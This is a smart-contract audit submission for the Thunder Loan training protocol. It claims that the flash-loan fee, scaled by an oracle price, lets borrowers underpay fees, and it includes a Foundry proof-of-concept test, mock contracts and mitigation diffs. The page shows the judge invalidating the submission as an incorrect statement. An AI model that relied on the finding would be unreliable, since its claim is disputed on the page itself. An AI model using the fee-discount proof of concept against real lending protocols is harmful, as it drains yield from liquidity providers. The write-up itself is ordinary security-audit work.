Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Impact: medium
Likelihood: high
Invalid

Oracle price is used as a token-denominated fee multiplier, allowing discounted flash-loan fees

Root + Impact

Description

Flash-loan borrowers are required to repay the borrowed token amount plus a fee in the same borrowed token. The README describes this as a small fee depending on how much money the user borrows, and LPs receive that fee as yield.

ThunderLoan.getCalculatedFee() first converts the borrowed amount into a WETH-denominated value by multiplying by the token's TSwap price. It then applies the flash-loan fee rate to that WETH value. The resulting WETH-denominated fee is passed into the flash-loan callback and repayment check as if it were an amount of the borrowed token. For tokens priced below 1e18, this makes the protocol accept a much smaller token fee than the configured fee rate implies.

Source permalink: https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/e8ce05f5530ca965165d41547b289604f873fdf6/src/protocol/OracleUpgradeable.sol#L19-L21

function getPriceInWeth(address token) public view returns (uint256) {
address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
@> return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
}

Source permalink: https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/e8ce05f5530ca965165d41547b289604f873fdf6/src/protocol/ThunderLoan.sol#L246-L250

function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
//slither-disable-next-line divide-before-multiply
@> uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
//slither-disable-next-line divide-before-multiply
@> fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}

Source permalink: https://github.com/Cyfrin/2023-11-Thunder-Loan/blob/e8ce05f5530ca965165d41547b289604f873fdf6/src/protocol/ThunderLoan.sol#L180-L216

function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
// ...
@> uint256 fee = getCalculatedFee(token, amount);
assetToken.updateExchangeRate(fee);
emit FlashLoan(receiverAddress, token, amount, fee, params);
s_currentlyFlashLoaning[token] = true;
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall(
abi.encodeWithSignature(
"executeOperation(address,uint256,uint256,address,bytes)",
address(token),
amount,
@> fee,
msg.sender,
params
)
);
uint256 endingBalance = token.balanceOf(address(assetToken));
@> if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}
s_currentlyFlashLoaning[token] = false;
}

The same fee calculation and borrowed-token repayment behavior exists in ThunderLoanUpgraded.

Risk

Likelihood:

  • This occurs whenever an allowed token's TSwap oracle price is below 1e18 and the calculated fee does not round to zero.

  • The only existing happy-path oracle coverage uses a price of exactly 1e18, which masks the unit mismatch because WETH value and borrowed-token amount happen to be numerically equal.

Impact:

  • Borrowers pay less than the configured token-denominated fee. In the PoC, a 100e18 token loan at a 0.3% fee rate should pay 0.3e18 tokens, but the protocol accepts only 0.003e18 tokens when the oracle price is 1e16.

  • LPs receive reduced flash-loan yield. If the oracle price can be influenced before borrowing, a borrower can manipulate the fee down and repeatedly borrow at a discount.

Proof of Concept

The PoC uses ThunderLoanUpgraded only to isolate this issue from the separate deposit-time exchange-rate bug in ThunderLoan.deposit(). The same fee calculation and flash-loan repayment check are present in both implementations.

Add the following test file:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { AssetToken } from "../src/protocol/AssetToken.sol";
import { BaseTest } from "./unit/BaseTest.t.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { MockFlashLoanReceiver } from "./mocks/MockFlashLoanReceiver.sol";
import { ThunderLoanUpgraded } from "../src/upgradedProtocol/ThunderLoanUpgraded.sol";
contract I05OraclePriceDependencyFailClosedTest is BaseTest {
uint256 private constant LP_DEPOSIT = 1_000e18;
uint256 private constant FLASH_LOAN_AMOUNT = 100e18;
uint256 private constant NORMAL_PRICE = 1e18;
uint256 private constant LOW_PRICE = 1e16;
uint256 private constant FLASH_LOAN_FEE = 3e15;
uint256 private constant FEE_PRECISION = 1e18;
address private lp = address(0xA11CE);
address private borrower = address(0xB0B);
ConfigurablePoolFactory private configurableFactory;
ConfigurableTSwapPool private configurablePool;
ThunderLoanUpgraded private upgradedThunderLoan;
AssetToken private assetToken;
MockFlashLoanReceiver private receiver;
function setUp() public override {
super.setUp();
configurableFactory = new ConfigurablePoolFactory();
configurablePool = new ConfigurableTSwapPool();
configurablePool.setPrice(NORMAL_PRICE);
configurableFactory.setPool(address(tokenA), address(configurablePool));
ThunderLoanUpgraded upgradedImplementation = new ThunderLoanUpgraded();
ERC1967Proxy upgradedProxy = new ERC1967Proxy(address(upgradedImplementation), "");
upgradedThunderLoan = ThunderLoanUpgraded(address(upgradedProxy));
upgradedThunderLoan.initialize(address(configurableFactory));
upgradedThunderLoan.setAllowedToken(tokenA, true);
assetToken = upgradedThunderLoan.getAssetFromToken(tokenA);
tokenA.mint(lp, LP_DEPOSIT);
vm.startPrank(lp);
tokenA.approve(address(upgradedThunderLoan), LP_DEPOSIT);
upgradedThunderLoan.deposit(tokenA, LP_DEPOSIT);
vm.stopPrank();
vm.prank(borrower);
receiver = new MockFlashLoanReceiver(address(upgradedThunderLoan));
}
function test_I05_03_lowOraclePriceDiscountsFeePaidInBorrowedToken() public {
uint256 expectedTokenDenominatedFee = (FLASH_LOAN_AMOUNT * FLASH_LOAN_FEE) / FEE_PRECISION;
configurablePool.setPrice(LOW_PRICE);
uint256 oracleCalculatedFee = upgradedThunderLoan.getCalculatedFee(tokenA, FLASH_LOAN_AMOUNT);
assertGt(oracleCalculatedFee, 0, "setup: low price rounded fee to zero");
assertLt(oracleCalculatedFee, expectedTokenDenominatedFee, "oracle did not discount fee");
uint256 assetBalanceBefore = tokenA.balanceOf(address(assetToken));
tokenA.mint(address(receiver), oracleCalculatedFee);
vm.prank(borrower);
upgradedThunderLoan.flashloan(address(receiver), tokenA, FLASH_LOAN_AMOUNT, "");
assertEq(
tokenA.balanceOf(address(assetToken)),
assetBalanceBefore + oracleCalculatedFee,
"protocol did not accept discounted oracle fee"
);
assertEq(
expectedTokenDenominatedFee - oracleCalculatedFee,
297_000_000_000_000_000,
"setup: unexpected fee discount"
);
}
}
contract ConfigurablePoolFactory {
mapping(address token => address pool) private s_pools;
function setPool(address token, address pool) external {
s_pools[token] = pool;
}
function getPool(address token) external view returns (address) {
return s_pools[token];
}
}
contract ConfigurableTSwapPool {
uint256 private s_price;
function setPrice(uint256 price) external {
s_price = price;
}
function getPriceOfOnePoolTokenInWeth() external view returns (uint256) {
return s_price;
}
}

Run:

forge test --match-contract I05OraclePriceDependencyFailClosedTest --match-test test_I05_03_lowOraclePriceDiscountsFeePaidInBorrowedToken -vvv

Result:

[PASS]
test_I05_03_lowOraclePriceDiscountsFeePaidInBorrowedToken()

The test uses a token price of 1e16. For a 100e18 token flash loan and a 0.3% fee rate, a token-denominated fee is 0.3e18. The protocol calculates and accepts only 0.003e18 tokens, discounting the fee by 0.297e18.

Recommended Mitigation

Do not use the WETH-denominated borrowed value directly as a borrowed-token fee amount. Either charge the fee as a fixed percentage of the borrowed token amount, or convert the WETH-denominated fee value back into borrowed-token units before enforcing repayment.

For a token-denominated percentage fee:

function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
- uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
- fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
+ fee = (amount * s_flashLoanFee) / s_feePrecision;
}

For a WETH-denominated fee that must still be repaid in the borrowed token, divide by the token price when converting the fee back into token units:

function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
- uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
- fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
+ uint256 price = getPriceInWeth(address(token));
+ uint256 valueOfBorrowedToken = (amount * price) / s_feePrecision;
+ uint256 feeValueInWeth = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
+ fee = (feeValueInWeth * s_feePrecision) / price;
}

Add regression tests for token prices below and above 1e18 so the fee rate is enforced consistently across allowed assets.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 1 day ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!